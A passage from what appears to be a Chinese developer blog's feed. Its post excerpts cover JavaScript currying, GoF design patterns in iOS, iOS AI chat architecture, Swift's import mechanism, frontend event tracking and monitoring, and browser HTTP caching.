&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCurry&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;func&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arity&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;func&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;args&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;args&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; [];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_args&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [].&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [].&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;_args&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 如果参数个数小于最初的func.length，则递归调用，继续收集参数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;_args&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arity&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCurry&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;func&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;_args&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 参数收集完毕，则执行func
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;func&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;_args&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;尽管我已经做了足够详细的注解，但是我想理解起来也并不是那么容易，因此建议大家用点耐心多阅读几遍。这个createCurry函数的封装借助闭包与递归，实现了一个参数收集，并在收集完毕之后执行所有参数的一个过程。&lt;/p&gt;</description></item><item><title>设计模式概述</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E6%A6%82%E8%BF%B0/</link><pubDate>Wed, 27 May 2026 22:24:03 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E6%A6%82%E8%BF%B0/</guid><description>&lt;h2 id="什么是设计模式"&gt;什么是设计模式？&lt;/h2&gt;
&lt;p&gt;设计模式（Design Pattern）是软件开发中反复出现问题的经典解决方案。它们是前人在大量实践中总结出的、被证明有效的代码设计经验，可以帮助开发者编写出更加灵活、可维护、可复用的代码。&lt;/p&gt;
&lt;p&gt;设计模式不是具体的代码，而是解决特定问题的思想和模板。正确运用设计模式可以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提高代码的可读性和可维护性&lt;/li&gt;
&lt;li&gt;增强代码的可复用性&lt;/li&gt;
&lt;li&gt;降低模块间的耦合度&lt;/li&gt;
&lt;li&gt;提供通用的设计词汇，便于团队沟通&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="设计模式的起源"&gt;设计模式的起源&lt;/h2&gt;
&lt;p&gt;设计模式的概念最早由&amp;quot;四人帮&amp;quot;（Gang of Four，简称GoF）在1994年出版的《Design Patterns: Elements of Reusable Object-Oriented Software》一书中系统化提出。书中总结了23种经典设计模式，这些模式至今仍是软件设计的重要参考。&lt;/p&gt;
&lt;h2 id="设计模式分类"&gt;设计模式分类&lt;/h2&gt;
&lt;p&gt;GoF将23种设计模式分为三大类：&lt;/p&gt;
&lt;h3 id="创建型模式creational-patterns"&gt;创建型模式（Creational Patterns）&lt;/h3&gt;
&lt;p&gt;创建型模式关注对象的创建机制，旨在以合适的方式创建对象，而不是直接使用new操作符。这类模式使得代码在创建对象时更加灵活。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模式&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;iOS常见应用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单例模式&lt;/td&gt;
&lt;td&gt;确保一个类只有一个实例&lt;/td&gt;
&lt;td&gt;UIApplication.shared、FileManager.default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;工厂方法模式&lt;/td&gt;
&lt;td&gt;定义创建对象的接口，由子类决定实例化哪个类&lt;/td&gt;
&lt;td&gt;NSNumber的工厂方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;抽象工厂模式&lt;/td&gt;
&lt;td&gt;创建一系列相关对象而无需指定具体类&lt;/td&gt;
&lt;td&gt;UIKit组件创建&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;建造者模式&lt;/td&gt;
&lt;td&gt;将复杂对象的构建与表示分离&lt;/td&gt;
&lt;td&gt;URLComponents、AlertController&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原型模式&lt;/td&gt;
&lt;td&gt;通过复制现有实例创建新对象&lt;/td&gt;
&lt;td&gt;NSCopying协议&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="结构型模式structural-patterns"&gt;结构型模式（Structural Patterns）&lt;/h3&gt;
&lt;p&gt;结构型模式关注类和对象的组合，用于形成更大的结构。这类模式帮助确保当系统的一部分发生改变时，整个系统不需要随之改变。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模式&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;iOS常见应用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;适配器模式&lt;/td&gt;
&lt;td&gt;将一个类的接口转换成客户期望的另一个接口&lt;/td&gt;
&lt;td&gt;协议适配、第三方库封装&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;桥接模式&lt;/td&gt;
&lt;td&gt;将抽象部分与实现部分分离&lt;/td&gt;
&lt;td&gt;平台无关的抽象设计&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;组合模式&lt;/td&gt;
&lt;td&gt;将对象组合成树形结构以表示部分-整体层次结构&lt;/td&gt;
&lt;td&gt;UIView层级结构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;装饰器模式&lt;/td&gt;
&lt;td&gt;通过包装对象在运行时动态添加职责&lt;/td&gt;
&lt;td&gt;包装器对象、链式装饰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外观模式&lt;/td&gt;
&lt;td&gt;为子系统提供一个统一的高层接口&lt;/td&gt;
&lt;td&gt;SDK封装、模块门面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;享元模式&lt;/td&gt;
&lt;td&gt;运用共享技术有效支持大量细粒度对象&lt;/td&gt;
&lt;td&gt;字体对象、颜色对象等可共享的不可变对象&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代理模式&lt;/td&gt;
&lt;td&gt;为其他对象提供一种代理以控制访问&lt;/td&gt;
&lt;td&gt;NSProxy、虚拟代理、保护代理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="行为型模式behavioral-patterns"&gt;行为型模式（Behavioral Patterns）&lt;/h3&gt;
&lt;p&gt;行为型模式关注对象之间的通信和职责分配，描述类或对象如何交互以及如何分配职责。&lt;/p&gt;</description></item><item><title>iOS中AI Chat实战</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/ios%E4%B8%ADai-chat%E5%AE%9E%E6%88%98/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/ios%E4%B8%ADai-chat%E5%AE%9E%E6%88%98/</guid><description>&lt;p&gt;做一个能跑的AI聊天Demo只需要几十行代码：拼一个HTTP请求、把模型返回的文本显示出来即可。但要做一个&lt;strong&gt;达到生产级体验&lt;/strong&gt;的AI Chat，就会面对一堆并不&amp;quot;AI&amp;quot;的工程问题：字怎么一个个&amp;quot;蹦&amp;quot;出来？Markdown怎么边流边渲染？模型想让前端弹一个卡片甚至一个表单，该怎么办？用户点击卡片里的按钮怎么回传给模型？&lt;/p&gt;
&lt;p&gt;本文以iOS为实现目标，系统梳理AI Chat的工程架构，重点讲清楚两件事：&lt;strong&gt;流式输出&lt;/strong&gt;与&lt;strong&gt;A2UI（Agent to UI）&lt;/strong&gt;，同时覆盖工具调用、取消、多模态、端侧推理等常见高级能力。&lt;/p&gt;
&lt;h2 id="一整体架构"&gt;一、整体架构&lt;/h2&gt;
&lt;p&gt;一个完整的iOS AI Chat客户端，通常可以拆成如下几层：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph TB
subgraph UI ["展示层"]
LIST["消息列表&lt;br/&gt;UICollectionView / List"]
CELL["消息Cell&lt;br/&gt;文本 / Markdown / A2UI Surface"]
INPUT["输入区&lt;br/&gt;文本 / 图片 / 语音"]
end
subgraph VM ["ViewModel层"]
STATE["会话状态机"]
STREAM["流式拼装器"]
TOOL["工具执行器"]
end
subgraph NET ["网络层"]
SSE["SSE / HTTP 分块"]
PARSER["协议解析&lt;br/&gt;OpenAI / Claude / A2UI"]
end
subgraph DATA ["数据层"]
DB["消息持久化&lt;br/&gt;GRDB / WCDB / CoreData"]
CTX["上下文裁剪&lt;br/&gt;Token预算"]
end
INPUT --&gt; STATE
STATE --&gt; NET
NET --&gt; PARSER
PARSER --&gt; STREAM
STREAM --&gt; CELL
STREAM --&gt; TOOL
TOOL --&gt; NET
STATE --&gt; DB
DB --&gt; CTX
CTX --&gt; NET
&lt;/pre&gt;
&lt;p&gt;几个关键特征：&lt;/p&gt;</description></item><item><title>Swift中import详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;源码版本说明&lt;/strong&gt;：本文涉及的源码基于 &lt;strong&gt;Swift 编译器&lt;/strong&gt; 开发版本（swift main分支，commit: &lt;code&gt;e0db5152d4d4&lt;/code&gt;，2026-01-19）。不同版本的实现细节可能略有差异，但核心机制保持一致。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在前一篇文章&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/"&gt;Objective-C中import详解&lt;/a&gt;中，我们深入探讨了 Objective-C 中的 import 机制，包括 &lt;code&gt;#include&lt;/code&gt;、&lt;code&gt;#import&lt;/code&gt;、&lt;code&gt;@import&lt;/code&gt; 以及 Clang Modules 的工作原理。本文将继续从 Swift 编译器的角度，讲解 Swift 中 import 的语法、模块查找机制、底层实现原理以及与 Objective-C 的互操作。&lt;/p&gt;
&lt;h2 id="从-clang-module-到-swift-module"&gt;从 Clang Module 到 Swift Module&lt;/h2&gt;
&lt;p&gt;在深入 Swift 的 import 机制之前，让我们先回顾一下上一篇文章中 Clang Module 的核心概念。&lt;/p&gt;
&lt;h3 id="clang-module-核心概念回顾"&gt;Clang Module 核心概念回顾&lt;/h3&gt;
&lt;p&gt;在 Objective-C 文章中，我们学习了 Clang Module 的几个关键特性：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;module.modulemap&lt;/strong&gt;：定义模块结构的配置文件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;framework module Foundation {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; umbrella header &lt;span style="color:#e6db74"&gt;&amp;#34;Foundation.h&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;预编译模块缓存（.pcm 文件）&lt;/strong&gt;：Clang 将模块编译为二进制格式，缓存以加速后续编译&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;懒加载机制&lt;/strong&gt;：只加载实际使用的声明，未使用的部分不会被解析&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;自动链接&lt;/strong&gt;：&lt;code&gt;@import&lt;/code&gt; 会自动链接对应的库，无需手动配置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;模块查找路径&lt;/strong&gt;：通过 &lt;code&gt;-I&lt;/code&gt;、&lt;code&gt;-F&lt;/code&gt; 等参数指定搜索路径&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="swift-如何继承-clang-module-的设计"&gt;Swift 如何继承 Clang Module 的设计&lt;/h3&gt;
&lt;p&gt;Swift 的模块系统并非从零开始设计，而是&lt;strong&gt;站在 Clang Module 的肩膀上&lt;/strong&gt;，继承了其核心优势，并针对 Swift 的特性进行了扩展：&lt;/p&gt;</description></item><item><title>前端性能监控</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-011/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-011/</guid><description>&lt;h2 id="大纲"&gt;大纲&lt;/h2&gt;
&lt;p&gt;我们会从以下三个方向来讲解埋点与监控的知识：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;什么是埋点？什么是监控？&lt;/li&gt;
&lt;li&gt;JS 中实现监控的核心方案&lt;/li&gt;
&lt;li&gt;写一个“相对”完整的监控实例&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="一什么是埋点什么是监控"&gt;一、什么是埋点？什么是监控？&lt;/h2&gt;
&lt;p&gt;在日常沟通中，我们经常会把【埋点】和【监控】放到一起说，但是它们在本质上是有一定的区别的：&lt;/p&gt;
&lt;h3 id="1-埋点"&gt;1. 埋点&lt;/h3&gt;
&lt;p&gt;埋点主要用于&lt;strong&gt;收集用户行为数据&lt;/strong&gt;。在日常开发中，我们会通过 &lt;strong&gt;在前端代码中插入代码或脚本的方式&lt;/strong&gt; 来实现埋点功能。&lt;/p&gt;
&lt;p&gt;埋点的主要作用就是：&lt;strong&gt;捕获特定用户行为（如点击、浏览、提交表单、页面跳转等）以及关键业务数据（如下单金额、商品类别等）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在日常开发中，埋点的实现方案大致可以分为以下三大类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手动埋点&lt;/strong&gt;：在代码中手动加入记录代码来捕获特定事件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动埋点&lt;/strong&gt;：利用 DOM 事件代理等技术来捕获页面上所有事件，从而减少手动配置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可视化埋点&lt;/strong&gt;：通过工具界面标记需要采集的元素和事件，可以不用手写代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-监控"&gt;2. 监控&lt;/h3&gt;
&lt;p&gt;而监控则主要关注 &lt;strong&gt;系统的性能和稳定性&lt;/strong&gt;。在日常开发中，我们会通过 &lt;strong&gt;采集页面加载时间、资源请求、错误日志等数据&lt;/strong&gt; 的方式来实现前端监控。&lt;/p&gt;
&lt;p&gt;监控的主要作用就是：&lt;strong&gt;及时发现并定位页面性能瓶颈或代码异常，目的是为了保障系统不出 bug&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在日常开发中，监控一般需要完成以下三大部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能监控&lt;/strong&gt;：如：首屏加载时间、页面交互耗时、资源加载耗时等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;错误监控&lt;/strong&gt;：捕获 JavaScript 错误、网络请求失败、资源加载异常等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户体验监控&lt;/strong&gt;：收集白屏、卡顿等影响用户体验的问题等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="区别总结"&gt;区别总结&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;前端埋点&lt;/th&gt;
&lt;th&gt;前端监控&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;目标&lt;/td&gt;
&lt;td&gt;捕获用户行为数据&lt;/td&gt;
&lt;td&gt;监控系统性能、错误、稳定性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据类型&lt;/td&gt;
&lt;td&gt;用户点击、表单提交、页面跳转等&lt;/td&gt;
&lt;td&gt;页面加载时间、错误日志、卡顿情况等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实现方式&lt;/td&gt;
&lt;td&gt;手动埋点、自动埋点、可视化埋点&lt;/td&gt;
&lt;td&gt;错误捕获、性能指标采集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;核心关注点&lt;/td&gt;
&lt;td&gt;用户行为、业务数据&lt;/td&gt;
&lt;td&gt;系统Bug、性能优化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="二js-中实现监控的核心方案"&gt;二、JS 中实现监控的核心方案&lt;/h2&gt;
&lt;p&gt;根据上面所说，我们知道埋点和监控的目的存在不同，但是它们的思路确是有很多一致性的，其核心都是：&lt;strong&gt;获取关键的数据，发送（上报）给服务端&lt;/strong&gt;，依据数据来解决其不同的目的。&lt;/p&gt;
&lt;p&gt;所以，无论是埋点也好，还是监控也罢，我们都需要 &lt;strong&gt;获取关键位置数据&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="1-跟踪用户事件点击滚动等"&gt;1. 跟踪用户事件（点击、滚动等）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定义通用跟踪函数（后续事件会通过该函数完成上报）&lt;/strong&gt;：&lt;code&gt;trackEvent&lt;/code&gt; 函数接收事件类型和事件详情，并上报到服务端。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 用于记录或发送跟踪数据到服务器的函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;trackEvent&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;eventType&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;details&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`Event: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;eventType&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;details&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 在控制台打印事件类型和详情
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 上报到服务端。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/测试接口地址&amp;#39;&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;stringify&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;eventType&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;details&lt;/span&gt; }) });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;捕获按钮点击事件&lt;/strong&gt;：获取 &lt;code&gt;id&lt;/code&gt; 为 &lt;code&gt;myButton&lt;/code&gt; 的按钮，并在其 &lt;code&gt;click&lt;/code&gt; 事件上添加监听器。在按钮被点击时调用 &lt;code&gt;trackEvent&lt;/code&gt; 函数，记录点击事件的类型（&lt;code&gt;button_click&lt;/code&gt;）、按钮 ID 和时间戳。&lt;/p&gt;</description></item><item><title>浏览器的缓存机制解析</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/</guid><description>&lt;h4 id="概述"&gt;概述&lt;/h4&gt;
&lt;p&gt;浏览器的缓存机制也就是我们说的HTTP缓存机制，其机制是根据HTTP报文的缓存标识进行的，所以在分析浏览器缓存机制之前，我们先使用图文简单介绍一下HTTP报文，HTTP报文分为两种：&lt;/p&gt;
&lt;p&gt;HTTP请求(Request)报文，报文格式为：请求行 – HTTP头(通用信息头，请求头，实体头) – 请求报文主体(只有POST才有报文主体)，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;HTTP响应(Response)报文，报文格式为：状态行 – HTTP头(通用信息头，响应头，实体头) – 响应报文主体，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;注：通用信息头指的是请求和响应报文都支持的头域，分别为Cache-Control、Connection、Date、Pragma、Transfer-Encoding、Upgrade、Via；实体头则是实体信息的实体头域，分别为Allow、Content-Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、Etag、Expires、Last-Modified、extension-header。这里只是为了方便理解，将通用信息头，响应头/请求头，实体头都归为了HTTP头。&lt;/p&gt;
&lt;p&gt;以上的概念在这里我们不做多讲解，只简单介绍，有兴趣的童鞋可以自行研究。&lt;/p&gt;
&lt;h4 id="缓存过程分析"&gt;缓存过程分析&lt;/h4&gt;
&lt;p&gt;浏览器与服务器通信的方式为应答模式，即是：浏览器发起HTTP请求 – 服务器响应该请求。那么浏览器第一次向服务器发起该请求后拿到请求结果，会根据响应报文中HTTP头的缓存标识，决定是否缓存结果，是则将请求结果和缓存标识存入浏览器缓存中，简单的过程如下图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;由上图我们可以知道：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器每次发起请求，都会先在浏览器缓存中查找该请求的结果以及缓存标识&lt;/li&gt;
&lt;li&gt;浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上两点结论就是浏览器缓存机制的关键，他确保了每个请求的缓存存入与读取，只要我们再理解浏览器缓存的使用规则，那么所有的问题就迎刃而解了，本文也将围绕着这点进行详细分析。为了方便大家理解，这里我们根据是否需要向服务器重新发起HTTP请求将缓存过程分为两个部分，分别是强制缓存和协商缓存。&lt;/p&gt;
&lt;h5 id="强制缓存"&gt;强制缓存&lt;/h5&gt;
&lt;p&gt;强制缓存就是向浏览器缓存查找该请求结果，并根据该结果的缓存规则来决定是否使用该缓存结果的过程，强制缓存的情况主要有三种(暂不分析协商缓存过程)，如下：&lt;/p&gt;
&lt;p&gt;不存在该缓存结果和缓存标识，强制缓存失效，则直接向服务器发起请求（跟第一次发起请求一致），如下图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;存在该缓存结果和缓存标识，但该结果已失效，强制缓存失效，则使用协商缓存(暂不分析)，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-07.webp"&gt;&lt;/p&gt;
&lt;p&gt;存在该缓存结果和缓存标识，且该结果尚未失效，强制缓存生效，直接返回该结果，如下图&lt;/p&gt;
